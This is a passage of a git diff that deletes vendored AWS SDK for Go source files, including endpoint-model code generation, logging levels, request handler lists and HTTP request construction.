len(other.DualStackHostname) > 0 { - e.DualStackHostname = other.DualStackHostname - } -} - -type credentialScope struct { - Region string `json:"region"` - Service string `json:"service"` -} - -type boxedBool int - -func (b *boxedBool) UnmarshalJSON(buf []byte) error { - v, err := strconv.ParseBool(string(buf)) - if err != nil { - return err - } - - if v { - *b = boxedTrue - } else { - *b = boxedFalse - } - - return nil -} - -const ( - boxedBoolUnset boxedBool = iota - boxedFalse - boxedTrue -) diff --git a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/v3model_codegen.go b/vendor/github.com/aws/aws-sdk-go/aws/endpoints/v3model_codegen.go deleted file mode 100644 index 0fdfcc56e0..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/endpoints/v3model_codegen.go +++ /dev/null @@ -1,351 +0,0 @@ -// +build codegen - -package endpoints - -import ( - "fmt" - "io" - "reflect" - "strings" - "text/template" - "unicode" -) - -// A CodeGenOptions are the options for code generating the endpoints into -// Go code from the endpoints model definition. -type CodeGenOptions struct { - // Options for how the model will be decoded. - DecodeModelOptions DecodeModelOptions - - // Disables code generation of the service endpoint prefix IDs defined in - // the model. - DisableGenerateServiceIDs bool -} - -// Set combines all of the option functions together -func (d *CodeGenOptions) Set(optFns ...func(*CodeGenOptions)) { - for _, fn := range optFns { - fn(d) - } -} - -// CodeGenModel given a endpoints model file will decode it and attempt to -// generate Go code from the model definition. Error will be returned if -// the code is unable to be generated, or decoded. -func CodeGenModel(modelFile io.Reader, outFile io.Writer, optFns ...func(*CodeGenOptions)) error { - var opts CodeGenOptions - opts.Set(optFns...) - - resolver, err := DecodeModel(modelFile, func(d *DecodeModelOptions) { - *d = opts.DecodeModelOptions - }) - if err != nil { - return err - } - - v := struct { - Resolver - CodeGenOptions - }{ - Resolver: resolver, - CodeGenOptions: opts, - } - - tmpl := template.Must(template.New("tmpl").Funcs(funcMap).Parse(v3Tmpl)) - if err := tmpl.ExecuteTemplate(outFile, "defaults", v); err != nil { - return fmt.Errorf("failed to execute template, %v", err) - } - - return nil -} - -func toSymbol(v string) string { - out := []rune{} - for _, c := range strings.Title(v) { - if !(unicode.IsNumber(c) || unicode.IsLetter(c)) { - continue - } - - out = append(out, c) - } - - return string(out) -} - -func quoteString(v string) string { - return fmt.Sprintf("%q", v) -} - -func regionConstName(p, r string) string { - return toSymbol(p) + toSymbol(r) -} - -func partitionGetter(id string) string { - return fmt.Sprintf("%sPartition", toSymbol(id)) -} - -func partitionVarName(id string) string { - return fmt.Sprintf("%sPartition", strings.ToLower(toSymbol(id))) -} - -func listPartitionNames(ps partitions) string { - names := []string{} - switch len(ps) { - case 1: - return ps[0].Name - case 2: - return fmt.Sprintf("%s and %s", ps[0].Name, ps[1].Name) - default: - for i, p := range ps { - if i == len(ps)-1 { - names = append(names, "and "+p.Name) - } else { - names = append(names, p.Name) - } - } - return strings.Join(names, ", ") - } -} - -func boxedBoolIfSet(msg string, v boxedBool) string { - switch v { - case boxedTrue: - return fmt.Sprintf(msg, "boxedTrue") - case boxedFalse: - return fmt.Sprintf(msg, "boxedFalse") - default: - return "" - } -} - -func stringIfSet(msg, v string) string { - if len(v) == 0 { - return "" - } - - return fmt.Sprintf(msg, v) -} - -func stringSliceIfSet(msg string, vs []string) string { - if len(vs) == 0 { - return "" - } - - names := []string{} - for _, v := range vs { - names = append(names, `"`+v+`"`) - } - - return fmt.Sprintf(msg, strings.Join(names, ",")) -} - -func endpointIsSet(v endpoint) bool { - return !reflect.DeepEqual(v, endpoint{}) -} - -func serviceSet(ps partitions) map[string]struct{} { - set := map[string]struct{}{} - for _, p := range ps { - for id := range p.Services { - set[id] = struct{}{} - } - } - - return set -} - -var funcMap = template.FuncMap{ - "ToSymbol": toSymbol, - "QuoteString": quoteString, - "RegionConst": regionConstName, - "PartitionGetter": partitionGetter, - "PartitionVarName": partitionVarName, - "ListPartitionNames": listPartitionNames, - "BoxedBoolIfSet": boxedBoolIfSet, - "StringIfSet": stringIfSet, - "StringSliceIfSet": stringSliceIfSet, - "EndpointIsSet": endpointIsSet, - "ServicesSet": serviceSet, -} - -const v3Tmpl = ` -{{ define "defaults" -}} -// Code generated by aws/endpoints/v3model_codegen.go. DO NOT EDIT. - -package endpoints - -import ( - "regexp" -) - - {{ template "partition consts" $.Resolver }} - - {{ range $_, $partition := $.Resolver }} - {{ template "partition region consts" $partition }} - {{ end }} - - {{ if not $.DisableGenerateServiceIDs -}} - {{ template "service consts" $.Resolver }} - {{- end }} - - {{ template "endpoint resolvers" $.Resolver }} -{{- end }} - -{{ define "partition consts" }} - // Partition identifiers - const ( - {{ range $_, $p := . -}} - {{ ToSymbol $p.ID }}PartitionID = {{ QuoteString $p.ID }} // {{ $p.Name }} partition. - {{ end -}} - ) -{{- end }} - -{{ define "partition region consts" }} - // {{ .Name }} partition's regions. - const ( - {{ range $id, $region := .Regions -}} - {{ ToSymbol $id }}RegionID = {{ QuoteString $id }} // {{ $region.Description }}. - {{ end -}} - ) -{{- end }} - -{{ define "service consts" }} - // Service identifiers - const ( - {{ $serviceSet := ServicesSet . -}} - {{ range $id, $_ := $serviceSet -}} - {{ ToSymbol $id }}ServiceID = {{ QuoteString $id }} // {{ ToSymbol $id }}. - {{ end -}} - ) -{{- end }} - -{{ define "endpoint resolvers" }} - // DefaultResolver returns an Endpoint resolver that will be able - // to resolve endpoints for: {{ ListPartitionNames . }}. - // - // Use DefaultPartitions() to get the list of the default partitions. - func DefaultResolver() Resolver { - return defaultPartitions - } - - // DefaultPartitions returns a list of the partitions the SDK is bundled - // with. The available partitions are: {{ ListPartitionNames . }}. - // - // partitions := endpoints.DefaultPartitions - // for _, p := range partitions { - // // ... inspect partitions - // } - func DefaultPartitions() []Partition { - return defaultPartitions.Partitions() - } - - var defaultPartitions = partitions{ - {{ range $_, $partition := . -}} - {{ PartitionVarName $partition.ID }}, - {{ end }} - } - - {{ range $_, $partition := . -}} - {{ $name := PartitionGetter $partition.ID -}} - // {{ $name }} returns the Resolver for {{ $partition.Name }}. - func {{ $name }}() Partition { - return {{ PartitionVarName $partition.ID }}.Partition() - } - var {{ PartitionVarName $partition.ID }} = {{ template "gocode Partition" $partition }} - {{ end }} -{{ end }} - -{{ define "default partitions" }} - func DefaultPartitions() []Partition { - return []partition{ - {{ range $_, $partition := . -}} - // {{ ToSymbol $partition.ID}}Partition(), - {{ end }} - } - } -{{ end }} - -{{ define "gocode Partition" -}} -partition{ - {{ StringIfSet "ID: %q,\n" .ID -}} - {{ StringIfSet "Name: %q,\n" .Name -}} - {{ StringIfSet "DNSSuffix: %q,\n" .DNSSuffix -}} - RegionRegex: {{ template "gocode RegionRegex" .RegionRegex }}, - {{ if EndpointIsSet .Defaults -}} - Defaults: {{ template "gocode Endpoint" .Defaults }}, - {{- end }} - Regions: {{ template "gocode Regions" .Regions }}, - Services: {{ template "gocode Services" .Services }}, -} -{{- end }} - -{{ define "gocode RegionRegex" -}} -regionRegex{ - Regexp: func() *regexp.Regexp{ - reg, _ := regexp.Compile({{ QuoteString .Regexp.String }}) - return reg - }(), -} -{{- end }} - -{{ define "gocode Regions" -}} -regions{ - {{ range $id, $region := . -}} - "{{ $id }}": {{ template "gocode Region" $region }}, - {{ end -}} -} -{{- end }} - -{{ define "gocode Region" -}} -region{ - {{ StringIfSet "Description: %q,\n" .Description -}} -} -{{- end }} - -{{ define "gocode Services" -}} -services{ - {{ range $id, $service := . -}} - "{{ $id }}": {{ template "gocode Service" $service }}, - {{ end }} -} -{{- end }} - -{{ define "gocode Service" -}} -service{ - {{ StringIfSet "PartitionEndpoint: %q,\n" .PartitionEndpoint -}} - {{ BoxedBoolIfSet "IsRegionalized: %s,\n" .IsRegionalized -}} - {{ if EndpointIsSet .Defaults -}} - Defaults: {{ template "gocode Endpoint" .Defaults -}}, - {{- end }} - {{ if .Endpoints -}} - Endpoints: {{ template "gocode Endpoints" .Endpoints }}, - {{- end }} -} -{{- end }} - -{{ define "gocode Endpoints" -}} -endpoints{ - {{ range $id, $endpoint := . -}} - "{{ $id }}": {{ template "gocode Endpoint" $endpoint }}, - {{ end }} -} -{{- end }} - -{{ define "gocode Endpoint" -}} -endpoint{ - {{ StringIfSet "Hostname: %q,\n" .Hostname -}} - {{ StringIfSet "SSLCommonName: %q,\n" .SSLCommonName -}} - {{ StringSliceIfSet "Protocols: []string{%s},\n" .Protocols -}} - {{ StringSliceIfSet "SignatureVersions: []string{%s},\n" .SignatureVersions -}} - {{ if or .CredentialScope.Region .CredentialScope.Service -}} - CredentialScope: credentialScope{ - {{ StringIfSet "Region: %q,\n" .CredentialScope.Region -}} - {{ StringIfSet "Service: %q,\n" .CredentialScope.Service -}} - }, - {{- end }} - {{ BoxedBoolIfSet "HasDualStack: %s,\n" .HasDualStack -}} - {{ StringIfSet "DualStackHostname: %q,\n" .DualStackHostname -}} - -} -{{- end }} -` diff --git a/vendor/github.com/aws/aws-sdk-go/aws/errors.go b/vendor/github.com/aws/aws-sdk-go/aws/errors.go deleted file mode 100644 index fa06f7a8f8..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/errors.go +++ /dev/null @@ -1,13 +0,0 @@ -package aws - -import "github.com/aws/aws-sdk-go/aws/awserr" - -var ( - // ErrMissingRegion is an error that is returned if region configuration is - // not found. - ErrMissingRegion = awserr.New("MissingRegion", "could not find region configuration", nil) - - // ErrMissingEndpoint is an error that is returned if an endpoint cannot be - // resolved for a service. - ErrMissingEndpoint = awserr.New("MissingEndpoint", "'Endpoint' configuration is required for this service", nil) -) diff --git a/vendor/github.com/aws/aws-sdk-go/aws/jsonvalue.go b/vendor/github.com/aws/aws-sdk-go/aws/jsonvalue.go deleted file mode 100644 index 91a6f277a7..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/jsonvalue.go +++ /dev/null @@ -1,12 +0,0 @@ -package aws - -// JSONValue is a representation of a grab bag type that will be marshaled -// into a json string. This type can be used just like any other map. -// -// Example: -// -// values := aws.JSONValue{ -// "Foo": "Bar", -// } -// values["Baz"] = "Qux" -type JSONValue map[string]interface{} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/logger.go b/vendor/github.com/aws/aws-sdk-go/aws/logger.go deleted file mode 100644 index 6ed15b2ecc..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/logger.go +++ /dev/null @@ -1,118 +0,0 @@ -package aws - -import ( - "log" - "os" -) - -// A LogLevelType defines the level logging should be performed at. Used to instruct -// the SDK which statements should be logged. -type LogLevelType uint - -// LogLevel returns the pointer to a LogLevel. Should be used to workaround -// not being able to take the address of a non-composite literal. -func LogLevel(l LogLevelType) *LogLevelType { - return &l -} - -// Value returns the LogLevel value or the default value LogOff if the LogLevel -// is nil. Safe to use on nil value LogLevelTypes. -func (l *LogLevelType) Value() LogLevelType { - if l != nil { - return *l - } - return LogOff -} - -// Matches returns true if the v LogLevel is enabled by this LogLevel. Should be -// used with logging sub levels. Is safe to use on nil value LogLevelTypes. If -// LogLevel is nil, will default to LogOff comparison. -func (l *LogLevelType) Matches(v LogLevelType) bool { - c := l.Value() - return c&v == v -} - -// AtLeast returns true if this LogLevel is at least high enough to satisfies v. -// Is safe to use on nil value LogLevelTypes. If LogLevel is nil, will default -// to LogOff comparison. -func (l *LogLevelType) AtLeast(v LogLevelType) bool { - c := l.Value() - return c >= v -} - -const ( - // LogOff states that no logging should be performed by the SDK. This is the - // default state of the SDK, and should be use to disable all logging. - LogOff LogLevelType = iota * 0x1000 - - // LogDebug state that debug output should be logged by the SDK. This should - // be used to inspect request made and responses received. - LogDebug -) - -// Debug Logging Sub Levels -const ( - // LogDebugWithSigning states that the SDK should log request signing and - // presigning events. This should be used to log the signing details of - // requests for debugging. Will also enable LogDebug. - LogDebugWithSigning LogLevelType = LogDebug | (1 << iota) - - // LogDebugWithHTTPBody states the SDK should log HTTP request and response - // HTTP bodys in addition to the headers and path. This should be used to - // see the body content of requests and responses made while using the SDK - // Will also enable LogDebug. - LogDebugWithHTTPBody - - // LogDebugWithRequestRetries states the SDK should log when service requests will - // be retried. This should be used to log when you want to log when service - // requests are being retried. Will also enable LogDebug. - LogDebugWithRequestRetries - - // LogDebugWithRequestErrors states the SDK should log when service requests fail - // to build, send, validate, or unmarshal. - LogDebugWithRequestErrors - - // LogDebugWithEventStreamBody states the SDK should log EventStream - // request and response bodys. This should be used to log the EventStream - // wire unmarshaled message content of requests and responses made while - // using the SDK Will also enable LogDebug. - LogDebugWithEventStreamBody -) - -// A Logger is a minimalistic interface for the SDK to log messages to. Should -// be used to provide custom logging writers for the SDK to use. -type Logger interface { - Log(...interface{}) -} - -// A LoggerFunc is a convenience type to convert a function taking a variadic -// list of arguments and wrap it so the Logger interface can be used. -// -// Example: -// s3.New(sess, &aws.Config{Logger: aws.LoggerFunc(func(args ...interface{}) { -// fmt.Fprintln(os.Stdout, args...) -// })}) -type LoggerFunc func(...interface{}) - -// Log calls the wrapped function with the arguments provided -func (f LoggerFunc) Log(args ...interface{}) { - f(args...) -} - -// NewDefaultLogger returns a Logger which will write log messages to stdout, and -// use same formatting runes as the stdlib log.Logger -func NewDefaultLogger() Logger { - return &defaultLogger{ - logger: log.New(os.Stdout, "", log.LstdFlags), - } -} - -// A defaultLogger provides a minimalistic logger satisfying the Logger interface. -type defaultLogger struct { - logger *log.Logger -} - -// Log logs the parameters to the stdlib logger. See log.Println. -func (l defaultLogger) Log(args ...interface{}) { - l.logger.Println(args...) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/connection_reset_error.go b/vendor/github.com/aws/aws-sdk-go/aws/request/connection_reset_error.go deleted file mode 100644 index 271da432ce..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/connection_reset_error.go +++ /dev/null @@ -1,19 +0,0 @@ -// +build !appengine,!plan9 - -package request - -import ( - "net" - "os" - "syscall" -) - -func isErrConnectionReset(err error) bool { - if opErr, ok := err.(*net.OpError); ok { - if sysErr, ok := opErr.Err.(*os.SyscallError); ok { - return sysErr.Err == syscall.ECONNRESET - } - } - - return false -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/connection_reset_error_other.go b/vendor/github.com/aws/aws-sdk-go/aws/request/connection_reset_error_other.go deleted file mode 100644 index daf9eca437..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/connection_reset_error_other.go +++ /dev/null @@ -1,11 +0,0 @@ -// +build appengine plan9 - -package request - -import ( - "strings" -) - -func isErrConnectionReset(err error) bool { - return strings.Contains(err.Error(), "connection reset") -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/handlers.go b/vendor/github.com/aws/aws-sdk-go/aws/request/handlers.go deleted file mode 100644 index 8ef8548a96..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/handlers.go +++ /dev/null @@ -1,277 +0,0 @@ -package request - -import ( - "fmt" - "strings" -) - -// A Handlers provides a collection of request handlers for various -// stages of handling requests. -type Handlers struct { - Validate HandlerList - Build HandlerList - Sign HandlerList - Send HandlerList - ValidateResponse HandlerList - Unmarshal HandlerList - UnmarshalStream HandlerList - UnmarshalMeta HandlerList - UnmarshalError HandlerList - Retry HandlerList - AfterRetry HandlerList - CompleteAttempt HandlerList - Complete HandlerList -} - -// Copy returns of this handler's lists. -func (h *Handlers) Copy() Handlers { - return Handlers{ - Validate: h.Validate.copy(), - Build: h.Build.copy(), - Sign: h.Sign.copy(), - Send: h.Send.copy(), - ValidateResponse: h.ValidateResponse.copy(), - Unmarshal: h.Unmarshal.copy(), - UnmarshalStream: h.UnmarshalStream.copy(), - UnmarshalError: h.UnmarshalError.copy(), - UnmarshalMeta: h.UnmarshalMeta.copy(), - Retry: h.Retry.copy(), - AfterRetry: h.AfterRetry.copy(), - CompleteAttempt: h.CompleteAttempt.copy(), - Complete: h.Complete.copy(), - } -} - -// Clear removes callback functions for all handlers -func (h *Handlers) Clear() { - h.Validate.Clear() - h.Build.Clear() - h.Send.Clear() - h.Sign.Clear() - h.Unmarshal.Clear() - h.UnmarshalStream.Clear() - h.UnmarshalMeta.Clear() - h.UnmarshalError.Clear() - h.ValidateResponse.Clear() - h.Retry.Clear() - h.AfterRetry.Clear() - h.CompleteAttempt.Clear() - h.Complete.Clear() -} - -// A HandlerListRunItem represents an entry in the HandlerList which -// is being run. -type HandlerListRunItem struct { - Index int - Handler NamedHandler - Request *Request -} - -// A HandlerList manages zero or more handlers in a list. -type HandlerList struct { - list []NamedHandler - - // Called after each request handler in the list is called. If set - // and the func returns true the HandlerList will continue to iterate - // over the request handlers. If false is returned the HandlerList - // will stop iterating. - // - // Should be used if extra logic to be performed between each handler - // in the list. This can be used to terminate a list's iteration - // based on a condition such as error like, HandlerListStopOnError. - // Or for logging like HandlerListLogItem. - AfterEachFn func(item HandlerListRunItem) bool -} - -// A NamedHandler is a struct that contains a name and function callback. -type NamedHandler struct { - Name string - Fn func(*Request) -} - -// copy creates a copy of the handler list. -func (l *HandlerList) copy() HandlerList { - n := HandlerList{ - AfterEachFn: l.AfterEachFn, - } - if len(l.list) == 0 { - return n - } - - n.list = append(make([]NamedHandler, 0, len(l.list)), l.list...) - return n -} - -// Clear clears the handler list. -func (l *HandlerList) Clear() { - l.list = l.list[0:0] -} - -// Len returns the number of handlers in the list. -func (l *HandlerList) Len() int { - return len(l.list) -} - -// PushBack pushes handler f to the back of the handler list. -func (l *HandlerList) PushBack(f func(*Request)) { - l.PushBackNamed(NamedHandler{"__anonymous", f}) -} - -// PushBackNamed pushes named handler f to the back of the handler list. -func (l *HandlerList) PushBackNamed(n NamedHandler) { - if cap(l.list) == 0 { - l.list = make([]NamedHandler, 0, 5) - } - l.list = append(l.list, n) -} - -// PushFront pushes handler f to the front of the handler list. -func (l *HandlerList) PushFront(f func(*Request)) { - l.PushFrontNamed(NamedHandler{"__anonymous", f}) -} - -// PushFrontNamed pushes named handler f to the front of the handler list. -func (l *HandlerList) PushFrontNamed(n NamedHandler) { - if cap(l.list) == len(l.list) { - // Allocating new list required - l.list = append([]NamedHandler{n}, l.list...) - } else { - // Enough room to prepend into list. - l.list = append(l.list, NamedHandler{}) - copy(l.list[1:], l.list) - l.list[0] = n - } -} - -// Remove removes a NamedHandler n -func (l *HandlerList) Remove(n NamedHandler) { - l.RemoveByName(n.Name) -} - -// RemoveByName removes a NamedHandler by name. -func (l *HandlerList) RemoveByName(name string) { - for i := 0; i < len(l.list); i++ { - m := l.list[i] - if m.Name == name { - // Shift array preventing creating new arrays - copy(l.list[i:], l.list[i+1:]) - l.list[len(l.list)-1] = NamedHandler{} - l.list = l.list[:len(l.list)-1] - - // decrement list so next check to length is correct - i-- - } - } -} - -// SwapNamed will swap out any existing handlers with the same name as the -// passed in NamedHandler returning true if handlers were swapped. False is -// returned otherwise. -func (l *HandlerList) SwapNamed(n NamedHandler) (swapped bool) { - for i := 0; i < len(l.list); i++ { - if l.list[i].Name == n.Name { - l.list[i].Fn = n.Fn - swapped = true - } - } - - return swapped -} - -// Swap will swap out all handlers matching the name passed in. The matched -// handlers will be swapped in. True is returned if the handlers were swapped. -func (l *HandlerList) Swap(name string, replace NamedHandler) bool { - var swapped bool - - for i := 0; i < len(l.list); i++ { - if l.list[i].Name == name { - l.list[i] = replace - swapped = true - } - } - - return swapped -} - -// SetBackNamed will replace the named handler if it exists in the handler list. -// If the handler does not exist the handler will be added to the end of the list. -func (l *HandlerList) SetBackNamed(n NamedHandler) { - if !l.SwapNamed(n) { - l.PushBackNamed(n) - } -} - -// SetFrontNamed will replace the named handler if it exists in the handler list. -// If the handler does not exist the handler will be added to the beginning of -// the list. -func (l *HandlerList) SetFrontNamed(n NamedHandler) { - if !l.SwapNamed(n) { - l.PushFrontNamed(n) - } -} - -// Run executes all handlers in the list with a given request object. -func (l *HandlerList) Run(r *Request) { - for i, h := range l.list { - h.Fn(r) - item := HandlerListRunItem{ - Index: i, Handler: h, Request: r, - } - if l.AfterEachFn != nil && !l.AfterEachFn(item) { - return - } - } -} - -// HandlerListLogItem logs the request handler and the state of the -// request's Error value. Always returns true to continue iterating -// request handlers in a HandlerList. -func HandlerListLogItem(item HandlerListRunItem) bool { - if item.Request.Config.Logger == nil { - return true - } - item.Request.Config.Logger.Log("DEBUG: RequestHandler", - item.Index, item.Handler.Name, item.Request.Error) - - return true -} - -// HandlerListStopOnError returns false to stop the HandlerList iterating -// over request handlers if Request.Error is not nil. True otherwise -// to continue iterating. -func HandlerListStopOnError(item HandlerListRunItem) bool { - return item.Request.Error == nil -} - -// WithAppendUserAgent will add a string to the user agent prefixed with a -// single white space. -func WithAppendUserAgent(s string) Option { - return func(r *Request) { - r.Handlers.Build.PushBack(func(r2 *Request) { - AddToUserAgent(r, s) - }) - } -} - -// MakeAddToUserAgentHandler will add the name/version pair to the User-Agent request -// header. If the extra parameters are provided they will be added as metadata to the -// name/version pair resulting in the following format. -// "name/version (extra0; extra1; ...)" -// The user agent part will be concatenated with this current request's user agent string. -func MakeAddToUserAgentHandler(name, version string, extra ...string) func(*Request) { - ua := fmt.Sprintf("%s/%s", name, version) - if len(extra) > 0 { - ua += fmt.Sprintf(" (%s)", strings.Join(extra, "; ")) - } - return func(r *Request) { - AddToUserAgent(r, ua) - } -} - -// MakeAddToUserAgentFreeFormHandler adds the input to the User-Agent request header. -// The input string will be concatenated with the current request's user agent string. -func MakeAddToUserAgentFreeFormHandler(s string) func(*Request) { - return func(r *Request) { - AddToUserAgent(r, s) - } -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/http_request.go b/vendor/github.com/aws/aws-sdk-go/aws/request/http_request.go deleted file mode 100644 index 79f79602b0..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/http_request.go +++ /dev/null @@ -1,24 +0,0 @@ -package request - -import ( - "io" - "net/http" - "net/url" -) - -func copyHTTPRequest(r *http.Request, body io.ReadCloser) *http.Request { - req := new(http.Request) - *req = *r - req.URL = &url.URL{} - *req.URL = *r.URL - req.Body = body - - req.Header = http.Header{} - for k, v := range r.Header { - for _, vv := range v { - req.Header.Add(k, vv) - } - } - - return req -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/offset_reader.go b/vendor/github.com/aws/aws-sdk-go/aws/request/offset_reader.go deleted file mode 100644 index b0c2ef4fe6..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/offset_reader.go +++ /dev/null @@ -1,60 +0,0 @@ -package request - -import ( - "io" - "sync" - - "github.com/aws/aws-sdk-go/internal/sdkio" -) - -// offsetReader is a thread-safe io.ReadCloser to prevent racing -// with retrying requests -type offsetReader struct { - buf io.ReadSeeker - lock sync.Mutex - closed bool -} - -func newOffsetReader(buf io.ReadSeeker, offset int64) *offsetReader { - reader := &offsetReader{} - buf.Seek(offset, sdkio.SeekStart) - - reader.buf = buf - return reader -} - -// Close will close the instance of the offset reader's access to -// the underlying io.ReadSeeker. -func (o *offsetReader) Close() error { - o.lock.Lock() - defer o.lock.Unlock() - o.closed = true - return nil -} - -// Read is a thread-safe read of the underlying io.ReadSeeker -func (o *offsetReader) Read(p []byte) (int, error) { - o.lock.Lock() - defer o.lock.Unlock() - - if o.closed { - return 0, io.EOF - } - - return o.buf.Read(p) -} - -// Seek is a thread-safe seeking operation. -func (o *offsetReader) Seek(offset int64, whence int) (int64, error) { - o.lock.Lock() - defer o.lock.Unlock() - - return o.buf.Seek(offset, whence) -} - -// CloseAndCopy will return a new offsetReader with a copy of the old buffer -// and close the old buffer. -func (o *offsetReader) CloseAndCopy(offset int64) *offsetReader { - o.Close() - return newOffsetReader(o.buf, offset) -} diff --git a/vendor/github.com/aws/aws-sdk-go/aws/request/request.go b/vendor/github.com/aws/aws-sdk-go/aws/request/request.go deleted file mode 100644 index 8f2eb3e43c..0000000000 --- a/vendor/github.com/aws/aws-sdk-go/aws/request/request.go +++ /dev/null @@ -1,673 +0,0 @@ -package request - -import ( - "bytes" - "fmt" - "io" - "net/http" - "net/url" - "reflect" - "strings" - "time" - - "github.com/aws/aws-sdk-go/aws" - "github.com/aws/aws-sdk-go/aws/awserr" - "github.com/aws/aws-sdk-go/aws/client/metadata" - "github.com/aws/aws-sdk-go/internal/sdkio" -) - -const ( - // ErrCodeSerialization is the serialization error code that is received - // during protocol unmarshaling. - ErrCodeSerialization = "SerializationError" - - // ErrCodeRead is an error that is returned during HTTP reads. - ErrCodeRead = "ReadError" - - // ErrCodeResponseTimeout is the connection timeout error that is received - // during body reads. - ErrCodeResponseTimeout = "ResponseTimeout" - - // ErrCodeInvalidPresignExpire is returned when the expire time provided to - // presign is invalid - ErrCodeInvalidPresignExpire = "InvalidPresignExpireError" - - // CanceledErrorCode is the error code that will be returned by an - // API request that was canceled. Requests given a aws.Context may - // return this error when canceled. - CanceledErrorCode = "RequestCanceled" -) - -// A Request is the service request to be made. -type Request struct { - Config aws.Config - ClientInfo metadata.ClientInfo - Handlers Handlers - - Retryer - AttemptTime time.Time - Time time.Time - Operation *Operation - HTTPRequest *http.Request - HTTPResponse *http.Response - Body io.ReadSeeker - BodyStart int64 // offset from beginning of Body that the request body starts - Params interface{} - Error error - Data interface{} - RequestID string - RetryCount int - Retryable *bool - RetryDelay time.Duration - NotHoist bool - SignedHeaderVals http.Header - LastSignedAt time.Time - DisableFollowRedirects bool - - // A value greater than 0 instructs the request to be signed as Presigned URL - // You should not set this field directly. Instead use Request's - // Presign or PresignRequest methods. - ExpireTime time.Duration - - context aws.Context - - built bool - - // Need to persist an intermediate body between the input Body and HTTP - // request body because the HTTP Client's transport can maintain a reference - // to the HTTP request's body after the client has returned. This value is - // safe to use concurrently and wrap the input Body for each HTTP request. - safeBody *offsetReader -} - -// An Operation is the service API operation to be made. -type Operation struct { - Name string - HTTPMethod string - HTTPPath string - *Paginator - - BeforePresignFn func(r *Request) error -} - -// New returns a new Request pointer for the service API -// operation and parameters. -// -// Params is any value of input parameters to be the request payload. -// Data is pointer value to an object which the request's response -// payload will be deserialized to. -func New(cfg aws.Config, clientInfo metadata.ClientInfo, handlers Handlers, - retryer Retryer, operation *Operation, params interface{}, data interface{}) *Request { - - method := operation.HTTPMethod - if method == "" { - method = "POST" - } - - httpReq, _ := http.NewRequest(method, "", nil) - - var err error - httpReq.URL, err = url.Parse(clientInfo.Endpoint + operation.HTTPPath) - if err != nil { - httpReq.URL = &url.URL{} - err = awserr.New("InvalidEndpointURL", "invalid endpoint uri", err) - } - - SanitizeHostForHeader(httpReq) - - r := &Request{ - Config: cfg, - ClientInfo: clientInfo, - Handlers: handlers.Copy(), - - Retryer: retryer, - Time: time.Now(), - ExpireTime: 0, - Operation: operation, - HTTPRequest: httpReq, - Body: nil, - Params: params, - Error: err, - Data: data, - } - r.SetBufferBody([]byte{}) - - return r -} - -// A Option is a functional option that can augment or modify a request when -// using a WithContext API operation method. -type Option func(*Request) - -// WithGetResponseHeader builds a request Option which will retrieve a single -// header value from the HTTP Response. If there are multiple values for the -// header key use WithGetResponseHeaders instead to access the http.Header -// map directly. The passed in val pointer must be non-nil. -// -// This Option can be used multiple times with a single API operation. -// -// var id2, versionID string -// svc.PutObjectWithContext(ctx, params, -// request.WithGetResponseHeader("x-amz-id-2", &id2), -// request.WithGetResponseHeader("x-amz-version-id", &versionID), -// ) -func WithGetResponseHeader(key string, val *string) Option { - return func(r *Request) { - r.Handlers.Complete.PushBack(func(req *Request) { - *val = req.HTTPResponse.Header.Get(key) - }) - } -} - -// WithGetResponseHeaders builds a request Option which will retrieve the -// headers from the HTTP response and assign them to the passed in headers -// variable. The passed in headers pointer must be non-nil. -// -// var headers http.Header -// svc.PutObjectWithContext(ctx, params, request.WithGetResponseHeaders(&headers)) -func WithGetResponseHeaders(headers *http.Header) Option { - return func(r *Request) { - r.Handlers.Complete.PushBack(func(req *Request) { - *headers = req.HTTPResponse.Header - }) - } -} - -// WithLogLevel is a request option that will set the request to use a specific -// log level when the request is made. -// -// svc.PutObjectWithContext(ctx, params, request.WithLogLevel(aws.LogDebugWithHTTPBody) -func WithLogLevel(l aws.LogLevelType) Option { - return func(r *Request) { - r.Config.LogLevel = aws.LogLevel(l) - } -} - -// ApplyOptions will apply each option to the request calling them in the order -// the were provided. -func (r *Request) ApplyOptions(opts ...Option) { - for _, opt := range opts { - opt(r) - } -} - -// Context will always returns a non-nil context. If Request does not have a -// context aws.BackgroundContext will be returned. -func (r *Request) Context() aws.Context { - if r.context != nil { - return r.context - } - return aws.BackgroundContext() -} - -// SetContext adds a Context to the current request that can be used to cancel -// a in-flight request. The Context value must not be nil, or this method will -// panic. -// -// Unlike http.Request.WithContext, SetContext does not return a copy of the -// Request. It is not safe to use use a single Request value for multiple -// requests. A new Request should be created for each API operation request. -// -// Go 1.6 and below: -// The http.Request's Cancel field will be set to the Done() value of -// the context. This will overwrite the Cancel field's value. -// -// Go 1.7 and above: -// The http.Request.WithContext will be used to set the context on the underlying -// http.Request. This will create a shallow copy of the http.Request. The SDK -// may create sub contexts in the future for nested requests such as retries. -func (r *Request) SetContext(ctx aws.Context) { - if ctx == nil { - panic("context cannot be nil") - } - setRequestContext(r, ctx) -} - -// WillRetry returns if the request's can be retried. -func (r *Request) WillRetry() bool { - if !aws.IsReaderSeekable(r.Body) && r.HTTPRequest.Body != NoBody { - return false - } - return r.Error != nil && aws.BoolValue(r.Retryable) && r.RetryCount < r.MaxRetries() -} - -// ParamsFilled returns if the request's parameters have been populated -// and the parameters are valid. False is returned if no parameters are -// provided or invalid. -func (r *Request) ParamsFilled() bool { - return r.Params != nil && reflect.ValueOf(r.Params).Elem().IsValid() -} - -// DataFilled returns true if the request's data for response deserialization -// target has been set and is a valid. False is returned if data is not -// set, or is invalid. -func (r *Request) DataFilled() bool { - return r.Data != nil && reflect.ValueOf(r.Data).Elem().IsValid() -} - -// SetBufferBody will set the request's body bytes that will 